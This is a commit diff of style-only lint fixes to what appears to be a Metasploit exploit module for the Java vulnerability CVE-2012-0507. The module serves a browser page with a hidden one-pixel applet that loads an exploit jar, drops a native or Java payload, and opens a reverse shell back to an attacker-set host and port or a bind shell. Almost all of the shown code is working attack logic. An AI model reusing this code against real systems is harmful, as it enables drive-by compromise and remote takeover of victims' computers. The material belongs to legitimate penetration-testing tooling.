Mass rubocop changes
This commit is contained in:
@@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({ :javascript => false })
|
||||
autopwn_info({ javascript: false })
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -47,35 +47,35 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Generic (Java Payload)',
|
||||
{
|
||||
'Platform' => ['java'],
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Arch' => ARCH_JAVA
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[
|
||||
'Mac OS X PPC (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_PPC,
|
||||
'Arch' => ARCH_PPC
|
||||
}
|
||||
],
|
||||
[
|
||||
'Mac OS X x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
],
|
||||
@@ -92,8 +92,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def exploit
|
||||
# load the static jar file
|
||||
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2012-0507.jar")
|
||||
fd = File.open(path, "rb")
|
||||
path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-0507.jar')
|
||||
fd = File.open(path, 'rb')
|
||||
@jar_data = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
|
||||
@@ -101,21 +101,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
data = ""
|
||||
host = ""
|
||||
port = ""
|
||||
data = ''
|
||||
host = ''
|
||||
port = ''
|
||||
|
||||
if not request.uri.match(/\.jar$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
send_redirect(cli, get_resource() + '/', '')
|
||||
if !request.uri.match(/\.jar$/i)
|
||||
if !request.uri.match(%r{/$})
|
||||
send_redirect(cli, get_resource + '/', '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending #{self.name}")
|
||||
print_status("Sending #{name}")
|
||||
|
||||
payload = regenerate_payload(cli)
|
||||
if not payload
|
||||
print_error("Failed to generate the payload.")
|
||||
if !payload
|
||||
print_error('Failed to generate the payload.')
|
||||
return
|
||||
end
|
||||
|
||||
@@ -124,17 +124,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
jar = payload.encoded
|
||||
host = datastore['LHOST']
|
||||
port = datastore['LPORT']
|
||||
vprint_status("Sending java reverse shell")
|
||||
vprint_status('Sending java reverse shell')
|
||||
else
|
||||
port = datastore['LPORT']
|
||||
host = cli.peerhost
|
||||
vprint_status("Java bind shell")
|
||||
vprint_status('Java bind shell')
|
||||
end
|
||||
if jar
|
||||
print_status("Generated jar to drop (#{jar.length} bytes).")
|
||||
jar = Rex::Text.to_hex(jar, prefix = "")
|
||||
jar = Rex::Text.to_hex(jar, '')
|
||||
else
|
||||
print_error("Failed to generate the executable.")
|
||||
print_error('Failed to generate the executable.')
|
||||
return
|
||||
end
|
||||
else
|
||||
@@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
data = generate_payload_exe
|
||||
|
||||
print_status("Generated executable to drop (#{data.length} bytes).")
|
||||
data = Rex::Text.to_hex(data, prefix = "")
|
||||
data = Rex::Text.to_hex(data, '')
|
||||
|
||||
end
|
||||
|
||||
@@ -151,27 +151,27 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending jar")
|
||||
send_response(cli, generate_jar(), { 'Content-Type' => "application/octet-stream" })
|
||||
print_status('Sending jar')
|
||||
send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' })
|
||||
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def generate_html(data, jar, host, port)
|
||||
jar_name = rand_text_alpha(rand(6) + 3) + ".jar"
|
||||
jar_name = rand_text_alpha(rand(3..8)) + '.jar'
|
||||
|
||||
html = "<html><head></head>"
|
||||
html += "<body>"
|
||||
html = '<html><head></head>'
|
||||
html += '<body>'
|
||||
html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"
|
||||
html += "<param name=\"data\" value=\"#{data}\"/>" if data
|
||||
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
|
||||
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
|
||||
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
|
||||
html += "</applet></body></html>"
|
||||
html += '</applet></body></html>'
|
||||
return html
|
||||
end
|
||||
|
||||
def generate_jar()
|
||||
def generate_jar
|
||||
return @jar_data
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user